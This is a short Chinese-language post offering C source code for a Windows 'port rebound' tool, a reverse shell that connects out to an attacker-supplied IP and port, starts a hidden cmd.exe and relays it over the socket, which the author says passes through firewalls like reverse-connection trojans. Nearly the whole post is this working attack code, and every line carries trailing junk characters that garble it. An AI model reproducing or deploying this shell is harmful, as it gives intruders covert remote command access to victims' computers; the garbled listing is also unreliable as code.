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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (;H% r &  
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/* ============================== 6L)7Q0Z  
Rebound port in Windows NT Wyow MFp  
By wind,2006/7 _/u(:  
===============================*/ 3}fhU{-c  
#include )o-mM tPj  
#include NqveL<r`  
9XhH*tBn7(  
#pragma comment(lib,"wsock32.lib") \ H#"  
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void OutputShell(); TtH!5{$s  
SOCKET sClient; lL 50PU  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 7%[ YX  
e Qk5:{[  
void main(int argc,char **argv) NFC/4  
{ $o9@ ?2  
WSADATA stWsaData; HL dHyK/S  
int nRet; iq^;csyKb  
SOCKADDR_IN stSaiClient,stSaiServer; =+I-9=  
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if(argc != 3) P2| +7D:  
{ `%EcQ}Nr  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,oPxt  
return; Hl'AnxE  
} Q1x15pVku/  
x9S9%JG :  
WSAStartup(MAKEWORD(2,2),&stWsaData); #!%zf{(C+  
2-W y@\  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^zS;/%  
Azp!;+  
stSaiClient.sin_family = AF_INET; n3qRt  
stSaiClient.sin_port = htons(0); Fs(S!;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {`T^&b k  
g}uSIv^  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) s&<76kwl  
{ $$< I}eMd>  
printf("Bind Socket Failed!\n"); 0&b;!N!vJ  
return; g5u4|+70  
} GCX?W`  
 M%W#0  
stSaiServer.sin_family = AF_INET; {MTtj4$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4HX;9HPHE<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 412E7   
;DVg[#  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e$JCak=  
{ zK{}   
printf("Connect Error!"); fakad#O  
return; b& -8/t  
} 7zJ2n/`m*  
OutputShell(); T:9M|mD  
} |F<%gJ  
Ap;^ \5  
void OutputShell() Y6v#0pT  
{ hY !>>  
char szBuff[1024]; t~nW&]E  
SECURITY_ATTRIBUTES stSecurityAttributes; -mmQ]'.0  
OSVERSIONINFO stOsversionInfo; {XUSw8W'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; yLK %lP  
STARTUPINFO stStartupInfo; C3~~h|:  
char *szShell; <F"G~.^ *s  
PROCESS_INFORMATION stProcessInformation; :}/\hz ,  
unsigned long lBytesRead; Aayd3Ph0%  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _@gg,2 u-  
6d2e WS  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); V[kn'QkWv  
stSecurityAttributes.lpSecurityDescriptor = 0; qt/6o|V  
stSecurityAttributes.bInheritHandle = TRUE; n<<arO"cv  
'zT7$ .L  
,:MUf]Ky  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DIWyv-  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Bss *-K]  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); B4+c3M\$V  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TcJJ"[0  
stStartupInfo.wShowWindow = SW_HIDE; _bg Zl  
stStartupInfo.hStdInput = hReadPipe; :`"- Jf  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; e^\#DDm  
pS7y3(_  
GetVersionEx(&stOsversionInfo); ;X0uA?  
]Y76~!N  
switch(stOsversionInfo.dwPlatformId) <S6?L[_  
{ fQg^^ZXe"  
case 1: oWi#?'  
szShell = "command.com"; R~hIoaiN  
break; 4gdXO  
default: 1p&=tN  
szShell = "cmd.exe"; Zy:q)'D=  
break; sCQV-%9  
} 6"}F KRR  
DRXUQH  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yv>uzb`N  
{TMng&  
send(sClient,szMsg,77,0); >TawJ"q-6R  
while(1) b E40^e  
{ Zu4CFX-4  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); xS+xUi  
if(lBytesRead) o8%o68py  
{ H_Sv,lwz;c  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); US-f<Wq  
send(sClient,szBuff,lBytesRead,0); 0JR)-*  
} 2e3AmR@*  
else j> dZ26 >N  
{ f(!cz,y^\*  
lBytesRead=recv(sClient,szBuff,1024,0); ?@`5^7*  
if(lBytesRead<=0) break; BC1smSlJ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -HuIz6  
} vQnhb %  
} 1<lf o^B  
!,5qAGi0  
return; dXsL0r*c  
}
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